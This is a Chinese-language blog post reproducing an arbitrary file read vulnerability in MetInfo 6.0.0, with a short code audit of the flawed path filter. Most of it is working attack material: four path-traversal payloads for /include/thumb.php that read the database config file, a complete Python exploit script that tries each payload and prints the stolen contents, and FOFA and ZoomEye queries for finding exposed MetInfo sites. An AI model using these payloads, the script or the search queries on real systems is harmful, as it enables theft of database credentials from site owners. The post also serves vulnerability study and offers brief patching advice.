Metinfo6.0.0任意文件读取【漏洞复现】

文章目录

1.1、漏洞描述

漏洞名称:MetInfo任意文件读取

漏洞简介:MetInfo是一套使用PHP和MySQL开发的内容管理系统,其中的/app/system/include/module/old_thumb.class.php文件存在任意文件读取漏洞,攻击者可利用该漏洞读取网站的敏感文件。

下载地址:历史版本安装文件下载 Ver_6.0.0

1.2、漏洞等级

高危

1.3、影响版本

影响版本:MetInfo 6.0.0

1.4、漏洞复现

代码审计

php 复制代码
defined('IN_MET') or exit('No permission');

load::sys_class('web');

class old_thumb extends web{

      public function doshow(){
        global $_M;

         $dir = str_replace(array('../','./'), '', $_GET['dir']);


        if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false){
            header("Content-type: image/jpeg");
            ob_start();
            readfile($dir);
            ob_flush();
            flush();
            die;
        }

dir = str_replace(array('.../','./'), '', _GET['dir']);

dir变量接受来自$_GET['dir']传递进来的值,用了str_replace函数做替换,将.././替换成空值

readfile($dir);

漏洞点

python 复制代码
/include/thumb.php

使用bp进行抓包

测试一:

php 复制代码
/include/thumb.php?dir=..././http/..././config/config_db.php

测试二:

php 复制代码
/include/thumb.php?dir=.....///http/.....///config/config_db.php

测试三:

php 复制代码
/include/thumb.php?dir=http/.....///.....///config/config_db.php

测试四:

php 复制代码
/include/thumb.php?dir=http\..\..\config\config_db.php
    
   
# 此POC 仅适用于Windows 系统,Linux 下无效  
#    只有windows以右斜杠作为文件路径分隔符

1.5、深度利用

EXP编写

python 复制代码
import requests
import sys

banner = """
MetInfo 6.0.0
    ___________.__.__           __________                   .___
    \_   _____/|__|  |   ____   \______   \ ____ _____     __| _/
    |    __)  |  |  | _/ __ \   |       _// __ \\__  \   / __ | 
    |     \   |  |  |_\  ___/   |    |   \  ___/ / __ \_/ /_/ | 
    \___  /   |__|____/\___  >  |____|_  /\___  >____  /\____ | 
        \/                 \/          \/     \/     \/      \/ 
     
Usage: python3 *.py http://192.168.80.139/MetInfo6.0.0/
"""

headers = {
    "User-Agent":   "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36"
}

dir_list = [
    "..././http/..././config/config_db.php",
    ".....///http/.....///config/config_db.php",
    "http/.....///.....///config/config_db.php",
    "http\..\..\config\config_db.php"
]

def attack(host):
    vul = "/include/thumb.php"
    url = host + vul

    res = requests.get(url = url, headers = headers)

    if res.status_code != 200:
        print(f"[INFO] {vul} is Not Exists!")
        exit()

    print(f"[INFO] {vul} is Exists!")

    for param in dir_list:
        params = {
            "dir":  param 
        }

        res = requests.get(url = url, params = params, headers = headers)

        print(f"[INFO] Test URL: {res.url}")

        if "<?php" in res.text:
            print("[RESULT] The target is vulnreable!")
            print(f"[RESULT]\n{res.text}")
            break

if len(sys.argv) < 2:
    print(banner)
    exit()

host = sys.argv[1]

attack(host = host)

1.6、漏洞挖掘

FOFA

text 复制代码
app="metinfo"

ZoomEye

text 复制代码
app:"MetInfo"
app:"MetInfo"+os:"Windows"

1.7修复建议

  • 升级
  • 打补丁
  • 上设备
相关推荐
沐矢羽2 小时前
upload文件上传漏洞浅析
学习·web安全·网络安全·文件上传·top10
TOM写代码2 小时前
详解网络安全免杀对抗:攻防的猫鼠游戏
安全·web安全·网络安全
Pure_White_Sword2 小时前
Bugku-Web题目-cookies
web安全·网络安全·ctf
NewCarRen4 小时前
自动驾驶汽车与利益相关者互动的功能安全与网络安全分析方法
安全·网络安全·自动驾驶·汽车
Bruce_Liuxiaowei5 小时前
SMB签名关闭的安全风险探讨
运维·windows·安全·网络安全
贝塔实验室6 小时前
译码器的结构
驱动开发·算法·网络安全·fpga开发·硬件工程·信息与通信·信号处理
Cyyyy_g8 小时前
【2025 SWPU-NSSCTF 秋季训练赛】gift_F12
网络协议·网络安全·https·状态模式
witkey_ak989620 小时前
网安面试题收集(5)
网络安全
介一安全21 小时前
【Frida Android】基础篇15(完):Frida-Trace 基础应用——JNI 函数 Hook
android·网络安全·ida·逆向·frida
小李独爱秋1 天前
计算机网络经典问题透视:当路由器需要同时连接以太网和ATM网络时,需要添加什么硬件?
运维·网络协议·计算机网络·网络安全·智能路由器